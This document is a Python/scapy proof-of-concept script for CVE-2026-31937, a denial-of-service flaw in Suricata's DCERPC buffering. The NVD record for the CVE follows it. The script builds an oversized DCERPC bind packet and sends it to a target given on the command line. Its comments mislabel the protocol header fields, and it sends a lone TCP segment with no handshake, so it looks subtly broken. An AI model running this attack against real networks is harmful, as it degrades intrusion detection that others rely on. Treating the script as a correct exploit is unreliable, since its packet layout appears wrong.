CVE-2026-31937

# PoC for CVE-2026-31937 (Suricata DCERPC Performance Degradation) # This script is for educational and authorized testing purposes only. from scapy.all import * import sys def send_dcerpc_packet(target_ip, target_port): """ Sends a malformed DCERPC packet to trigger the buffering inefficiency. """ # Construct the IP and TCP layers ip_packet = IP(dst=target_ip) tcp_packet = TCP(sport=RandShort(), dport=target_port, flags="PA") # Construct a DCERPC Bind request header (Simplified) # Version 5, Minor 0 dcerpc_header = bytes.fromhex("05 00 0B 03") # Max Xmit Frag Size: 0xFFFF (Large value to stress buffering) # Max Recv Frag Size: 0xFFFF frag_size = bytes.fromhex("FF FF FF FF") # Auth Length and other fields set to 0 auth_fields = bytes.fromhex("00 00 00 00") # Payload causing the inefficiency payload = dcerpc_header + frag_size + auth_fields + b"A" * 1024 packet = ip_packet / tcp_packet / payload print(f"[*] Sending PoC packet to {target_ip}:{target_port}...") send(packet, verbose=0) print("[+] Packet sent.") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 cve_2026_31937_poc.py <target_ip> <target_port>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) send_dcerpc_packet(target, port)

{"cve": {"id": "CVE-2026-31937", "sourceIdentifier": "[email protected]", "published": "2026-04-02T15:16:37.847", "lastModified": "2026-04-07T21:19:57.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Suricata is a network IDS, IPS and NSM engine. Prior to version 7.0.15, inefficiency in DCERPC buffering can lead to a performance degradation. This issue has been patched in version 7.0.15."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-407"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.0.15", "matchCriteriaId": "1E0D4CF4-11E0-4FB1-9C17-F38257D376ED"}]}]}], "references": [{"url": "https://github.com/OISF/suricata/security/advisories/GHSA-86vg-w8vm-m3gg", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://redmine.openinfosecfoundation.org/issues/8304", "source": "[email protected]", "tags": ["Issue Tracking"]}]}}